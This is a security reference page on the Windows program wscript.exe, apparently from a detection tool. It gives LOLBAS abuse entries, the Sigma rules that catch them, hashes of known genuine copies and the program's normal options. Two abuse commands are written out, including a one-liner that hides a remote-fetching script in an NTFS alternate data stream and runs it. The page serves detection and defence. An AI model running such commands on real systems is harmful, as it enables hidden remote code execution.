Identifier / Programs / Windows
wscript.exe
Applies to: Windows Server (All supported versions) Windows commands reference
LOLBAS ADS 63 Sigma rules name it 3 ATT&CK techniques 2 documented commands 14 known copies with hashes
How wscript.exe is abused
ADS T1564.004 Hide Artifacts: NTFS File Attributes
ADS T1564.004 Hide Artifacts: NTFS File Attributes
Run by echo.exe
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for wscript.exe.
2 documented commands
ADS T1564.004 Hide Artifacts: NTFS File Attributes User privileges
Execute script stored in an alternate data stream
wscript //e:vbscript {PATH}:script.vbsIdentifyTrips 1 Sigma rule: mediumWSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript by Michael Haag
ADS T1564.004 Hide Artifacts: NTFS File Attributes User privileges
Download and execute script stored in an alternate data stream
echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.jsIdentifyTrips 2 Sigma rules: mediumWSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript by Michael Haag; lowCMD Shell Output Redirect by frack113
All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for wscript.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for wscript.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
And 33 more rules that name wscript.exe.
Is it the real wscript.exe?
C:\Windows\system32\C:\Windows\SysWOW64\14 known copies
5.812.10240.16384 · C:\Windows\SysWOW64\wscript.exe · signed by Microsoft Windows
0fbb4f848d9fb14d7bf81b0454203810869c527c3435e8747a2213dd86f8129a5.812.10240.16384 · C:\Windows\system32\wscript.exe · signed by Microsoft Windows
2548884526e8fbc5781f5b3b2972e9b20cc16dd86bde93d2e888023f6919f5a25.812.10240.16384 · C:\Windows\system32\wscript.exe · signed by Microsoft Windows
34008e2057df8842df210246995385a0441dc1e081d60ad15bd481e062e7f1005.812.10240.16384 · C:\Windows\SysWOW64\wscript.exe · signed by Microsoft Windows
391d47d21304f8f97254a6537aa65476609fc222ad0ad86e7008419d61735a9c5.812.10240.16384 · C:\Windows\system32\wscript.exe · signed by Microsoft Windows
47cacd60d91441137d055184614b1a418c0457992977857a76ca05c75bbc1b565.812.10240.16384 · C:\WINDOWS\SysWOW64\wscript.exe · signed by Microsoft Windows
7d92ed1f65bb5afe9fbde8349e3bd55ec207a476c795a583a15a7a05c83207095.812.10240.16384 · C:\Windows\SysWOW64\wscript.exe · signed by Microsoft Windows
8c767077bb410f95b1db237b31f4f6e1512c78c1f0120de3f215b501f6d1c7ea5.812.10240.16384 · C:\WINDOWS\system32\wscript.exe · signed by Microsoft Windows
a3dedca6ae9799c3e32b8a60bb11821f5f96cbc9a465806c4478c5d43754cea15.812.10240.16384 · C:\Windows\system32\wscript.exe · signed by Microsoft Windows
ce9f70e104c07d92fc05fbd6000839fd6a87ff010e706396f87dd679244ed97b5.812.10240.16384 · C:\WINDOWS\system32\wscript.exe · signed by Microsoft Windows
f42201b5d890a96302f90102b16d7c31cfcc3b67c801ba7c6f6be223f16d70115.812.10240.16384 · C:\Windows\SysWOW64\wscript.exe · signed by Microsoft Windows
f451827d9d32c792c821ef0b89febf002d29004605b20caace53467ec01d2fac5.812.10240.16384 · C:\WINDOWS\SysWOW64\wscript.exe · signed by Microsoft Windows
f564a6ab15e2f510a7ec0a30388320936dbd3b2c032121e8185fcd3ce9dbbef65.8.9600.16384 · C:\windows\SysWOW64\wscript.exe · not signed
88f2ff85bb0eb9420e2cf5877687a7053e069f9da4c8355c093e0283dc8f000e5.8.9600.16384 · C:\windows\system32\wscript.exe · not signed
e479c6e8891cebe2b24f319de83a003d7be73e93bae5aabb5ba3d6b914ff8135From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Everyday use
Set cscript (CLI) or wscript (GUI) as the default interpreter to run Windows Script Host programs
wscript //h:cscriptIdentifyRun a script
wscript path\to\script.vbsIdentifyTrips 1 Sigma rule: mediumWSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript by Michael Haag
Run script in the interactive or batch mode (enable or suppress alerts, prompts, and scripting errors)
wscript //i path\to\script.vbsIdentifyTrips 1 Sigma rule: mediumWSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript by Michael Haag
Of the 3 examples the identifier reads, 2 match LOLBAS abuse or trip a Sigma process-creation rule.
Options
Show every option of wscript.exe
/bSpecifies batch mode, which doesn't display alerts, scripting errors, or input prompts./dStarts the debugger./eSpecifies the engine that is used to run the script./hRegisters cscript.exe as the default script host for running scripts./iSpecifies interactive mode, which displays alerts, scripting errors, and input prompts.The /i parameter is the default and the opposite of /b./jobRuns the job identified by *identifier* in a .wsf script file./logoSpecifies that the Windows Script Host banner is displayed in the console before the script runs.The /logo parameter is the default and the opposite of /nologo./nologoSpecifies that the Windows Script Host banner isn't displayed before the script runs./sSaves the current command prompt options for the current user./tSpecifies the maximum time the script can run (in seconds)./xStarts the script in the debugger./?Displays Help at the command prompt.